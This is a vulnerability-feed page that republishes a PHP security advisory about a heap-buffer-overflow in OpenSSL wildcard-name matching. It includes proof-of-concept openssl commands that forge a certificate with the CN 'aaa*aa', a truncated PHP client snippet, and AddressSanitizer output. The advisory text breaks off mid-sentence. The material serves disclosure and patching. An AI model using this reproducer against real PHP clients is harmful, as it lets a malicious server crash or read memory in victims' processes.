VulnWatch by ve1ve2
medium 6.5 EPSS 0.11%

GHSA-xr7j-rvgx-xq5p / CVE-2026-91767: Heap-buffer-overflow in php_openssl_matches_wildcard_name on crafted server cert wildcard CN

Source:
PHP releases (GitHub php/php-src tags)
Published:
Fetched:
Updated:
Affects:
php ext-openssl

https://github.com/php/php-src/security/advisories/GHSA-xr7j-rvgx-xq5p ↗

repo-advisoryphpCWE-122securityrepo:php/php-src

Heap-buffer-overflow in php_openssl_matches_wildcard_name on crafted server cert wildcard CN ### Summary `php_openssl_matches_wildcard_name()` in `ext/openssl/xp_ssl.c` underflows the length argument passed to `memchr()` when a TLS server certificate presents a wildcard name whose literal characters are together longer than the hostname being verified. A malicious server presenting such a certificate makes the PHP client read up to `SIZE_MAX` bytes past the end of a heap allocation. The path is reachable from any default client stream, because `verify_peer_name` is enabled by default. ### Details The guard before the `memchr()` call only accounts for the suffix length: https://github.com/php/php-src/blob/php-8.5.10/ext/openssl/xp_ssl.c#L435-L441 The third argument is `subject_len - suffix_len - prefix_len`. `subject_len` and `suffix_len` are `size_t` while `prefix_len` is `ptrdiff_t`, so the usual arithmetic conversions promote the whole expression to `size_t`. With a certificate name of `aaa*aa` verified against `aaaa`, the prefix is 3 and the suffix is 2 against a 4-byte subject, so the length computes as `(size_t)(4 - 2 - 3)` and wraps to `SIZE_MAX`. `memchr()` then scans from `subjectname + prefix_len` until it finds a `.` or hits unmapped memory. The fix makes `prefix_len` a `size_t` and changes the guard to `suffix_len + prefix_len <= subject_len`, so the subtraction can no longer wrap. ### PoC Create a CA and a server certificate whose CN is a wildcard pattern longer than the hostname: ```sh mkdir -p /tmp/tls-poc && cd /tmp/tls-poc openssl req -x509 -newkey rsa:2048 -keyout ca.key -out ca.crt -days 30 -nodes -subj "/CN=poc-ca" openssl req -newkey rsa:2048 -keyout server.key -out server.csr -nodes -subj "/CN=aaa*aa" openssl x509 -req -in server.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out server.crt -days 30 ``` Serve it from a local TLS listener, then run the client with a shorter `peer_name`: ```php [ 'verify_peer' => true, 'verify_peer_name' => true, 'cafile' => '/tmp/tls-poc/ca.crt', 'peer_name' => 'aaaa', ], 'http' => ['method' => 'GET', 'timeout' => 5], ]); $body = @file_get_contents('https://127.0.0.1:18443/', false, $ctx); var_dump(error_get_last()); ``` ```sh USE_ZEND_ALLOC=0 ASAN_OPTIONS=detect_leaks=0:halt_on_error=0 ./sapi/cli/php repro.php ``` ``` ==3801043==ERROR: AddressSanitizer: heap-buffer-overflow READ of size 6559 at 0x50300003eac0 thread T0 0x50300003eac0 is located 0 bytes after 32-byte region [0x50300003eaa0,0x50300003eac0) #1 php_openssl_matches_wildcard_name ext/openssl/xp_ssl.c:438 #2 php_openssl_matches_common_name ext/openssl/xp_ssl.c:542 #3 php_openssl_apply_peer_verification_policy ext/openssl/xp_ssl.c:635 #4 php_openssl_enable_crypto ext/openssl/xp_ssl.c:1894 ``` `USE_ZEND_ALLOC=0` is needed so that AddressSanitizer sees the boundary of the heap-allocated peer name; with the Zend allocator the read sti Affected packages: php:ext-openssl Patched: ext-openssl 8.2.34, ext-openssl 8.3.35, ext-openssl 8.4.26, ext-openssl 8.5.11

Linked vulnerabilities (2)

CVE-2026-91767 medium 6.5 EPSS 0.11% (p1) NVDCVE.orgGHSA
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

php8.2 - security update

CWE: CWE-122Aliases: CVE-2025-1218, CVE-2025-14181, CVE-2026-6103, CVE-2026-91765, CVE-2026-91766, CVE-2026-91768, CVE-2026-91769, CVE-2026-92842, CVE-2026-93682, GHSA-xr7j-rvgx-xq5p
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Heap-buffer-overflow in php_openssl_matches_wildcard_name on crafted server cert wildcard CN

CWE: CWE-122Aliases: CVE-2026-91767